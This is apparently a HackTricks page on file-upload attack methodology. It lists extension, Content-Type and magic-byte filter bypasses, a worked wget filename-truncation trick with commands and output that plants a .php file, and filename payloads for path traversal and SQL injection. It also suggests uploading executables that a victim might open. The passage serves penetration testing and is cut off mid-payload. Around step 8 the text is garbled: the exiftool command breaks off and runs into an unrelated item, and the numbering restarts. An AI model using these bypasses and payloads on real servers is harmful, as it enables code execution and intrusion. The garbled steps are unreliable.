☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
# File Upload General Methodology
1. Try to upload a file with a **double extension** \(ex: _file.png.php_ or _file.png.php5_\).
* PHP extensions: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, ._phps_, ._pht_, _.phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc_
* ASP extensions: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml_
2. Try to **uppercase some letter\(s\)** of the extension. Like: _.pHp, .pHP5, .PhAr ..._
3. Try to upload some **double \(or more\) extension** \(useful to bypass misconfigured checks that test if a specific extension is just present\):
1. _file.png.php_
2. _file.png.txt.php_
4. Try to upload some **reverse double extension** \(useful to exploit Apache misconfigurations where anything with extension _.php_, but **not necessarily ending in .php** will execute code\):
* _ex: file.php.png_
5. Double extension with **null character:**
1. _ex: file.php%00.png_
6. **Add some especial characters at the end** of the extension_: %00, %20, \(several dots\)...._
1. _file.php%00_
2. _file.php%20_
3. _file.php...... --> In Windows when a file is created with dots at the end those will be removed \(so you can bypass filters that checks for .php as extension\)_
4. _file.php/_
5. _file.php.\_
7. Bypass Content-Type checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
8. Bypass magic number check by adding at the beginning of the file the **bytes of a real image** \(confuse the _file_ command\). Or introduce the shell inside the **metadata**: `exiftool -Comment="*?”` in its name. \(Windows\)
6. Upload a file in **Windows** using **reserved** \(**forbidden**\) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
Try also to **upload an executable** \(.exe\) or an **.html** \(less suspicious\) that **will execute code** when accidentally opened by victim.
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files" %}
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** \(executing it with php, or including it inside a script...\)
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
**Check a lot of possible file upload vulnerabilities with BurpSuit plugin** [**https://github.com/modzero/mod0BurpUploadScanner**](https://github.com/modzero/mod0BurpUploadScanner) **or use a console application that finds which files can be uploaded and try different tricks to execute code:** [**https://github.com/almandin/fuxploider**](https://github.com/almandin/fuxploider)
## **wget File Upload/SSRF Trick**
In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** \(as in this example **".gif"** is a **valid** extension\) but `wget` will **rename** the file to **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```
```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
# From File upload to other vulnerabilities
* Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
* Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
* Set **filename** to `